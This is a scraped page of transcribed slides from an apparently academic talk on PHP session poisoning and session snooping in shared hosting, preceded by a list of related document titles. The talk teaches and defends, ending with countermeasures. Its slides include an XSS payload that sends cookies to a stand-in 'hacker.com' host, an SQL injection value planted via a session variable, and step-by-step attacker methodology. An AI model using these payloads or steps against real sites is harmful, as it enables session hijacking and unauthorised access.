Breaking Web Applications in Shared Hosting Environments. Nick Nikiforakis Katholieke Universiteit Leuven



Similar documents
Abusing Locality in Shared Web Hosting. Nick Nikiforakis

Abusing Locality in Shared Web Hosting

Check list for web developers

What is Web Security? Motivation

Hardening Joomla 1. HARDENING PHP. 1.1 Installing Suhosin. 1.2 Disable Remote Includes. 1.3 Disable Unneeded Functions & Classes

Cross Site Scripting in Joomla Acajoom Component

ASL IT Security Advanced Web Exploitation Kung Fu V2.0

Two Novel Server-Side Attacks against Log File in Shared Web Hosting Servers

Web application security

Using Foundstone CookieDigger to Analyze Web Session Management

How to break in. Tecniche avanzate di pen testing in ambito Web Application, Internal Network and Social Engineering

Where every interaction matters.

Web applications. Web security: web basics. HTTP requests. URLs. GET request. Myrto Arapinis School of Informatics University of Edinburgh

Last update: February 23, 2004

A Server and Browser-Transparent CSRF Defense for Web 2.0 Applications. Slides by Connor Schnaith

External Vulnerability Assessment. -Technical Summary- ABC ORGANIZATION

SAP: Session (Fixation) Attacks and Protections

ArcGIS Server Security Threats & Best Practices David Cordes Michael Young

Barracuda Web Application Firewall vs. Intrusion Prevention Systems (IPS) Whitepaper

Role Based Access Control. Using PHP Sessions

ASL IT SECURITY BEGINNERS WEB HACKING AND EXPLOITATION

The Top Web Application Attacks: Are you vulnerable?

CSE 135 Server Side Web Languages Lecture # 7. State and Session Management

CS 558 Internet Systems and Technologies

Implementation of Web Application Firewall

Is Drupal secure? A high-level perspective on web vulnerabilities, Drupal s solutions, and how to maintain site security

Application Security Testing. Generic Test Strategy

Data Breaches and Web Servers: The Giant Sucking Sound

WHITE PAPER. FortiWeb and the OWASP Top 10 Mitigating the most dangerous application security threats

Intrusion detection for web applications

Top 10 Web Application Security Vulnerabilities - with focus on PHP

Criteria for web application security check. Version

Web Application Vulnerabilities and Avoiding Application Exposure

Hack Proof Your Webapps

Lecture 11 Web Application Security (part 1)

Security Testing with Selenium

WebCruiser Web Vulnerability Scanner User Guide

Web Application Security

The purpose of this report is to educate our prospective clients about capabilities of Hackers Locked.

1. Introduction. 2. Web Application. 3. Components. 4. Common Vulnerabilities. 5. Improving security in Web applications

Magento Security and Vulnerabilities. Roman Stepanov

3. Broken Account and Session Management. 4. Cross-Site Scripting (XSS) Flaws. Web browsers execute code sent from websites. Account Management

05.0 Application Development

CMP3002 Advanced Web Technology

FINAL DoIT v.8 APPLICATION SECURITY PROCEDURE

SECURITY TRENDS & VULNERABILITIES REVIEW 2015

How to Configure edgebox as a Web Server

Network Security Exercise #8

OWASP and OWASP Top 10 (2007 Update) OWASP. The OWASP Foundation. Dave Wichers. The OWASP Foundation. OWASP Conferences Chair

Web Application Security. Vulnerabilities, Weakness and Countermeasures. Massimo Cotelli CISSP. Secure

Attack and Penetration Testing 101

A Survey on Security and Vulnerabilities of Web Application

Cracking the Perimeter via Web Application Hacking. Zach Grace, CISSP, CEH January 17, Mega Conference

JOOMLA SECURITY. ireland website design. by Oliver Hummel. ADDRESS Unit 12D, Six Cross Roads Business Park, Waterford City

WEB APPLICATION SECURITY

Advanced Web Security, Lab

Finding and Preventing Cross- Site Request Forgery. Tom Gallagher Security Test Lead, Microsoft

Cross-Site Scripting

Certified Secure Web Application Secure Development Checklist

Webapps Vulnerability Report

Sitefinity Security and Best Practices

Ruby on Rails Secure Coding Recommendations

Web attacks and security: SQL injection and cross-site scripting (XSS)

EVALUATING COMMERCIAL WEB APPLICATION SECURITY. By Aaron Parke

CTF Web Security Training. Engin Kirda

Web Application Security Considerations

FINAL DoIT v.4 PAYMENT CARD INDUSTRY DATA SECURITY STANDARDS APPLICATION DEVELOPMENT AND MAINTENANCE PROCEDURES

ASP.NET MVC Secure Coding 4-Day hands on Course. Course Syllabus

Kentico CMS security facts

HP WebInspect Tutorial

Testnet Summerschool. Web Application Security Testing. Dave van Stein

Web Security Threat Report: January April Ryan C. Barnett WASC Member Project Lead: Distributed Open Proxy Honeypots

Passing PCI Compliance How to Address the Application Security Mandates

Essential IT Security Testing

The Weakest Link: Mitigating Web Application Vulnerabilities. webscurity White Paper. webscurity Inc. Minneapolis, Minnesota USA

VIDEO intypedia007en LESSON 7: WEB APPLICATION SECURITY - INTRODUCTION TO SQL INJECTION TECHNIQUES. AUTHOR: Chema Alonso

Protecting Web Applications and Users

Detecting Web Application Vulnerabilities Using Open Source Means. OWASP 3rd Free / Libre / Open Source Software (FLOSS) Conference 27/5/2008

A Survey on Threats and Vulnerabilities of Web Services

Web Application Report

External Network & Web Application Assessment. For The XXX Group LLC October 2012

State of The Art: Automated Black Box Web Application Vulnerability Testing. Jason Bau, Elie Bursztein, Divij Gupta, John Mitchell

Web Application Security

Nuclear Regulatory Commission Computer Security Office Computer Security Standard

WEB SECURITY CONCERNS THAT WEB VULNERABILITY SCANNING CAN IDENTIFY

Last Updated: July STATISTICA Enterprise Server Security

Web Application Firewall on SonicWALL SSL VPN

Offensive Security. Advanced Web Attacks and Exploitation. Mati Aharoni Devon Kearns. v. 1.0

SQL Injection 2.0: Bigger, Badder, Faster and More Dangerous Than Ever. Dana Tamir, Product Marketing Manager, Imperva

University of Wisconsin Platteville SE411. Senior Seminar. Web System Attacks. Maxwell Friederichs. April 18, 2013

Barracuda Web Site Firewall Ensures PCI DSS Compliance

Thick Client Application Security

CTIS 256 Web Technologies II. Week # 1 Serkan GENÇ

WEB APPLICATION HACKING. Part 2: Tools of the Trade (and how to use them)

(WAPT) Web Application Penetration Testing

Nikolay Zaynelov Annual LUG-БГ Meeting nikolay.zaynelov.com

DFW INTERNATIONAL AIRPORT STANDARD OPERATING PROCEDURE (SOP)

Web Security CS th November , Jonathan Francis Roscoe, Department of Computer Science, Aberystwyth University

Transcription:

Breaking Web Applications in Shared Hosting Environments Nick Nikiforakis Katholieke Universiteit Leuven

Who am I? Nick Nikiforakis PhD student at KULeuven Security Low-level Web applications http://www.securitee.org

In one sentence Default session management techniques and shared hosting plans do not go together.so don t do it

Roadmap Shared Hosting Session Identifiers Session Attacks Standard (client-side) Session Snooping, Session Poisoning (server-side) Demo Who is affected Existing Protection mechanisms Protect yourselves Conclusion

Shared Hosting 124,953,126 active domains[1] 121,121 registered today Hosting companies Shared Hosting Virtual Dedicated Hosting Dedicated Hosting [1] http://www.domaintools.com/internet-statistics/

Shared Hosting Prices Shared Hosting Starting at 3.64 Euro/month Virtual Dedicated Hosting Starting at 21.89 Euro/month Dedicated Hosting Starting at 45.97 Euro/month 6X

Shared Hosting Many users share one server Typically: 1 Virtual Host Setting/User User is confined to a small number of directories All web applications run with the privileges of the Web Server

Downsides of Shared Hosting More Limits Less Control Less Performance LESS SECURITY!

Sessions

HTTP & HTTPS The two workhorse protocols are by design stateless No native-tracking mechanism provided Inability to enforce access control Mechanisms HTAccess & HTPasswd Session identifiers

HTAccess Features Per directory access control Content control Redirection URL Rewriting Customized error messages Used to be THE way of logging-in

HTAccess Dialogue

Problems with HTAccess Fine-grained access control is a hassle Too manual Registration of users Password change Password reset What happens when the content is no longer in a directory but on databases?

Session Identifiers Generate pseudo-random identifier (token) and bind that with a specific user Give this token to the user Every time that the user visits the page, make the distinction based on that token Indispensable feature of the modern WWW All Web-programming languages support it

Session Management 101 <html> <form method= POST action=./login.php > Username: <input type= text name= username > Password: <input type= password name= password > <input type= submit value= Submit > </form> Username: Password : Submit

Session Management 101 <?php session_start(); $username = $_POST[ username ]; $password = $_POST[ password ]; check4naughtyinput($username,$password); if(isuser($username,$password)){ $_SESSION[ logged_in ] = 1; } else{ }?>

Common Session Management Functions session_start(); session_destroy(); $_SESSION[]; session_regenerate_id(); Only if they know what they are doing

Session Cookie What happens at the client side? session_start() => Set-Cookie: PHPSESSID=qwertyuiopasdfgh;

Well-known session attacks Session Hijacking Through XSS XSSed contains more than 300,000 records Sniffed Traffic Open WiFi Most recent-tool, FireSheep Session Fixation Get a valid session Let the user populate it Then use it again

<?php?> session_start(); Vulnerable PHP Script $query = $_GET[ q ]; print Searching for $query ;. http://vulnerable.com/search.php?q=</u><script> document.write(`<img src="http://hacker.com/ session_hijack.php?ck=' + document.cookie +`">'); </script>

Sessions and the Server

Behind the scenes session_start(), creates a file that will contain all the values that the programmer will set in the $_SESSION[] array The filename consists of a standard prefix and the session_id itself Set-Cookie: PHPSESSID= qwertyuiop Filename: sess_qwertyuiop Stored in the default session store /tmp, /var/lib/php5,

Behind the scenes User without Session session_start(); $_SESSION[ loggedin ] = 1 if(isset($_session[ loggedin ])) Create file /$session_store/$prefix_* Open file /$session_store/$prefix_* Write key and value Read specific key and value

Behind the scenes User With Session GET /index.php Cookie: PHPSESSID=12345678. Open file: $Session_store/$Prefix_ 12345678 Populate $_SESSION[] array with values from this file

What does the session file look like $_SESSION[ loggedin ] = 1; $_SESSION[ user ] = admin ; $_SESSION[ num ] = 4.5; loggedin i:1; user s:5: admin num d:4.5

Facts By default, all PHP scripts share a common session store The session file accessed by PHP is based on the session id provided by the user A Web application can t distinguish between sessions that it created and sessions that other applications created

Results An attacker with a single malicious PHP script can: 1. force a co-located web application to use sessions that it didn t create 2. Open session files that he didn t create and make arbitrary changes

Results An attacker with a single malicious PHP script can: 1. force Session a co-located Poisoning web application to use sessions that it didn t create 2. Open Session session files Snooping that he didn t create and make arbitrary changes

Session Poisoning 1. An attacker creates a new session 2. Populates this session with common variable names $_SESSION[ loggedin ] = 1 $_SESSION[ isadmin ] = 1 $_SESSION[ user ] = admin $_SESSION[ userid ] = 0

Session Poisoning 3. Forces the session cookie to all of the websites/web applications located on the same server 4. If an application uses the same naming of variables then the attacker can circumvent the logic of the application E.g, if (isset($_session[ isadmin ]))

Session Snooping 1. The attacker visits a co-located website, creates an account and does an exhaustive browsing of the website 2. He prints out his session identifier 3. He instructs his own scripts to load the session file with the session identifier of the website in question i. Legitimate operation of session_id()

Session snooping 4. He looks at the values that the website has set in the session identifier 5. He edits/adds values which will enable him to elevate his rights $_SESSION[ isadmin ] = 0

Demo

Is this a real problem? Short answer: You bet Reasons: Programmers are trained to code as if only their application exists on a server PHP will trust the client to point to the appropriate session id

Teaching Programmers Chapter 8: Sessions work great with no additional tweaking.

Teaching Programmers session_start(); $_SESSION[ validuser ] = $userid;. //Member Section if(isset($_session[ validuser ])){ }

Mass Attacks Attacker Methodology Obtain list of websites located on the same physical server as you Create a session and set many common keywords Browse all the different websites, always forcing the session cookie that you created Enjoy

Specific targets Attacker Methodology Place yourself on the same server as your victim Browse their website extensively and then load their session in your PHP snooping script Change values at will Reload page

New attacks Further attacks possible Programmers trust their own input SQL, XSS, Local/Remote file inclusion Evading Web application firewalls Session values that are used in SQL requests are never in the URL or body of the request Evade logging Attack vector is not present in the attacker s request, thus it will never show in any kind of logging

SQL Injection using Session Snooping SELECT fname,lname,email from users where userid = $_SESSION[ userid ]; $_SESSION[ userid ] = -1 UNION ALL SELECT ;

Who is vulnerable? Everyone hosted on a shared hosting environment who is not actively protecting their sessions Open source applications forum-software, picture galleries, web admin panels, CMS Custom scripts

Case Study: CMS Content Management Systems Enable non-programmers to create professional, dynamic and powerful websites

CMS: Results 9 out 10 used sessions to maintain state 2 out of 9 used the default PHP session functionality Concrete5 & WolfCMS 22.2% Vulnerable The non-vulnerable ones used the database to store their sessions

Protections in place Server-Side Protections already in place by your hosting company Client-side Changes that you can do to your scripts

Suhosin Suhosin is an advanced protection system for PHP installations. It was designed to protect servers and users from known and unknown flaws in PHP applications and the PHP core. Patch to protect core Extension to protect applications

Suhosin Session Defaults Session data can be encrypted transparently. The encryption key used consists of this user defined string (which can be altered by a script via ini_set()) and optionally the User-Agent, the Document-Root and 0-4 Octects of the REMOTE_ADDR.

Suhosin against snooping & poisoning The only thing that is of value and can stop the vanilla attack is if suhosin.session.cryptdocroot is enabled Each user gets his own document root /var/www/customer1 /var/www/customer2 /var/www/attacker

Other server solutions suexec, suphp, fastcgi One common goal Run applications with specific user privileges instead of nobody web user 16-35x overhead We can no longer open other peoples session files and snoop around (Session Snooping) But?

Can we go around these? If the session store is still common, yes Create and poison session Change permissions of session file to 0777 Force site to use the specific session id This will work because your file is available to all other users

Client-side protections If you can afford it choose a private hosting product Only your files are present If su* is present, make sure to use your own session directory session_save_path() Overide the default session management functions and utilize your database Be careful of your new SQLi attack surface

Conclusion Session management functionality of PHP was NOT designed with shared hosting in mind Existing countermeasures are server-side and thus you have little-to-no control over them Change your scripts (time) OR move to dedicated hosting (money)

Thank you Questions/Comments? http://demo1.cz.cc http://sessionattacker.cz.cc Contact: nick.nikiforakis[at]cs.kuleuven.be